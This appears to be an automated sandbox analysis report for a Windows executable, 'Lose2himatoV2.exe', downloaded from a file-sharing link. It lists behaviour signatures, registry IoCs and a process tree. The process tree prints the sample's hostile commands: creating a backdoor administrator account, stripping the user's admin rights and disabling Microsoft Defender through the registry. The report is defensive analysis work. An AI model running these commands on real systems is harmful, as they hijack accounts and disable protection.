hxxps://gofile[.]io/d/QzrdeO

Analysis

max time kernel
337s
max time network
338s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
05-01-2025 19:03

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

https://gofile.io/d/QzrdeO

Score

9^/10

paypal defense_evasion discovery evasion phishing ransomware

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Disables Task Manager via registry modification
evasion
Downloads MZ/PE file

Indicator Removal: Network Share Connection Removal 1 TTPs 1 IoCs

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

defense_evasion

Network Share Connection Removal

T1070.005

pid	Process
5472	cmd.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	Lose2himatoV2.exe

Executes dropped EXE 1 IoCs

pid	Process
3024	Lose2himatoV2.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
81	discord.com
82	discord.com

Detected potential entity reuse from brand PAYPAL.
phishing paypal

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\MySingleFileApp\\wallpaper.bmp"	Lose2himatoV2.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 29 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Lose2himatoV2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	shutdown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "218"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4050598569-1597076380-177084960-1000\{FAE9959D-29E6-4287-A5C5-505E9A5AB95E}	msedge.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 588342.crdownload:SmartScreen	msedge.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
1352	msedge.exe
1352	msedge.exe
1900	msedge.exe
1900	msedge.exe
2808	identity_helper.exe
2808	identity_helper.exe
1568	msedge.exe
1568	msedge.exe
4924	msedge.exe
4924	msedge.exe
2736	msedge.exe
2736	msedge.exe
3048	msedge.exe
3048	msedge.exe
5872	msedge.exe
5872	msedge.exe
4196	msedge.exe
4196	msedge.exe
5544	identity_helper.exe
5544	identity_helper.exe
4048	msedge.exe
4048	msedge.exe
4048	msedge.exe
4048	msedge.exe

Suspicious behavior: LoadsDriver 64 IoCs

pid	Process
3348	Process not Found
4272	Process not Found
5208	Process not Found
5716	Process not Found
6052	Process not Found
1040	Process not Found
4304	Process not Found
3872	Process not Found
2440	Process not Found
3676	Process not Found
5568	Process not Found
6084	Process not Found
5760	Process not Found
2672	Process not Found
3144	Process not Found
2636	Process not Found
4972	Process not Found
5088	Process not Found
4496	Process not Found
6068	Process not Found
2116	Process not Found
4720	Process not Found
3652	Process not Found
2528	Process not Found
1744	Process not Found
1876	Process not Found
2448	Process not Found
2312	Process not Found
5720	Process not Found
4280	Process not Found
4520	Process not Found
4396	Process not Found
2228	Process not Found
2388	Process not Found
1532	Process not Found
2880	Process not Found
3200	Process not Found
3508	Process not Found
1976	Process not Found
6064	Process not Found
5072	Process not Found
1948	Process not Found
5452	Process not Found
3012	Process not Found
1072	Process not Found
4184	Process not Found
3568	Process not Found
4196	Process not Found
1916	Process not Found
1036	Process not Found
2236	Process not Found
3812	Process not Found
1556	Process not Found
2616	Process not Found
3128	Process not Found
2652	Process not Found
4504	Process not Found
4276	Process not Found
5388	Process not Found
5368	Process not Found
2100	Process not Found
5304	Process not Found
4868	Process not Found
5288	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 24 IoCs

pid	Process
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: 33	3236	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	3236	AUDIODG.EXE
Token: SeShutdownPrivilege	4788	shutdown.exe
Token: SeRemoteShutdownPrivilege	4788	shutdown.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe

Suspicious use of SendNotifyMessage 48 IoCs

pid	Process
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe
5872	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4552	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1900 wrote to memory of 116	1900	msedge.exe	82
PID 1900 wrote to memory of 116	1900	msedge.exe	82
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1036	1900	msedge.exe	83
PID 1900 wrote to memory of 1352	1900	msedge.exe	84
PID 1900 wrote to memory of 1352	1900	msedge.exe	84
PID 1900 wrote to memory of 4388	1900	msedge.exe	85
PID 1900 wrote to memory of 4388	1900	msedge.exe	85
PID 1900 wrote to memory of 4388	1900	msedge.exe	85
PID 1900 wrote to memory of 4388	1900	msedge.exe	85
PID 1900 wrote to memory of 4388	1900	msedge.exe	85
PID 1900 wrote to memory of 4388	1900	msedge.exe	85
PID 1900 wrote to memory of 4388	1900	msedge.exe	85
PID 1900 wrote to memory of 4388	1900	msedge.exe	85
PID 1900 wrote to memory of 4388	1900	msedge.exe	85
PID 1900 wrote to memory of 4388	1900	msedge.exe	85
PID 1900 wrote to memory of 4388	1900	msedge.exe	85
PID 1900 wrote to memory of 4388	1900	msedge.exe	85
PID 1900 wrote to memory of 4388	1900	msedge.exe	85
PID 1900 wrote to memory of 4388	1900	msedge.exe	85
PID 1900 wrote to memory of 4388	1900	msedge.exe	85
PID 1900 wrote to memory of 4388	1900	msedge.exe	85
PID 1900 wrote to memory of 4388	1900	msedge.exe	85
PID 1900 wrote to memory of 4388	1900	msedge.exe	85
PID 1900 wrote to memory of 4388	1900	msedge.exe	85
PID 1900 wrote to memory of 4388	1900	msedge.exe	85

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://gofile.io/d/QzrdeO
1⤵
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1900
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd407346f8,0x7ffd40734708,0x7ffd40734718
  2⤵
  PID:116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2044,9855724951022936754,15662349960136559534,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2068 /prefetch:2
  2⤵
  PID:1036
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2044,9855724951022936754,15662349960136559534,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2128 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1352
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2044,9855724951022936754,15662349960136559534,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2916 /prefetch:8
  2⤵
  PID:4388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,9855724951022936754,15662349960136559534,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3320 /prefetch:1
  2⤵
  PID:3140
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,9855724951022936754,15662349960136559534,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3324 /prefetch:1
  2⤵
  PID:1500
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,9855724951022936754,15662349960136559534,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4628 /prefetch:1
  2⤵
  PID:4940
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,9855724951022936754,15662349960136559534,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3572 /prefetch:1
  2⤵
  PID:3036
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2044,9855724951022936754,15662349960136559534,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5392 /prefetch:8
  2⤵
  PID:4196
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2044,9855724951022936754,15662349960136559534,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5392 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2808
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,9855724951022936754,15662349960136559534,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5688 /prefetch:1
  2⤵
  PID:2452
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2044,9855724951022936754,15662349960136559534,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5848 /prefetch:8
  2⤵
  PID:4720
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,9855724951022936754,15662349960136559534,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5672 /prefetch:1
  2⤵
  PID:1604
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2044,9855724951022936754,15662349960136559534,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6160 /prefetch:8
  2⤵
  PID:4484
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,9855724951022936754,15662349960136559534,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6268 /prefetch:1
  2⤵
  PID:3656
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,9855724951022936754,15662349960136559534,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6276 /prefetch:1
  2⤵
  PID:3488
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,9855724951022936754,15662349960136559534,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2472 /prefetch:1
  2⤵
  PID:4552
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,9855724951022936754,15662349960136559534,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6304 /prefetch:1
  2⤵
  PID:2260
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2044,9855724951022936754,15662349960136559534,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5592 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1568
- C:\Users\Admin\Downloads\Lose2himatoV2.exe
  "C:\Users\Admin\Downloads\Lose2himatoV2.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Sets desktop wallpaper using registry
  - System Location Discovery: System Language Discovery
  PID:3024
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c net user Lose2himato /add
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3528
  - - C:\Windows\SysWOW64\net.exe
      net user Lose2himato /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:5440
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user Lose2himato /add
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5464
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c net user Lose2himato dumbass
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1388
  - - C:\Windows\SysWOW64\net.exe
      net user Lose2himato dumbass
      4⤵
      System Location Discovery: System Language Discovery
      PID:5612
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user Lose2himato dumbass
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5644
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c net localgroup Administrators "Lose2himato" /add
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5096
  - - C:\Windows\SysWOW64\net.exe
      net localgroup Administrators "Lose2himato" /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:5896
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "Lose2himato" /add
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5980
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c net localgroup Administrators "%USERNAME%" /delete
    3⤵
    - Indicator Removal: Network Share Connection Removal
    - System Location Discovery: System Language Discovery
    PID:5472
  - - C:\Windows\SysWOW64\net.exe
      net localgroup Administrators "Admin" /delete
      4⤵
      System Location Discovery: System Language Discovery
      PID:5904
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "Admin" /delete
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5988
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Microsoft Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5584
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Microsoft Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:6048
- - C:\Windows\SysWOW64\explorer.exe
    "explorer.exe"
    3⤵
    - System Location Discovery: System Language Discovery
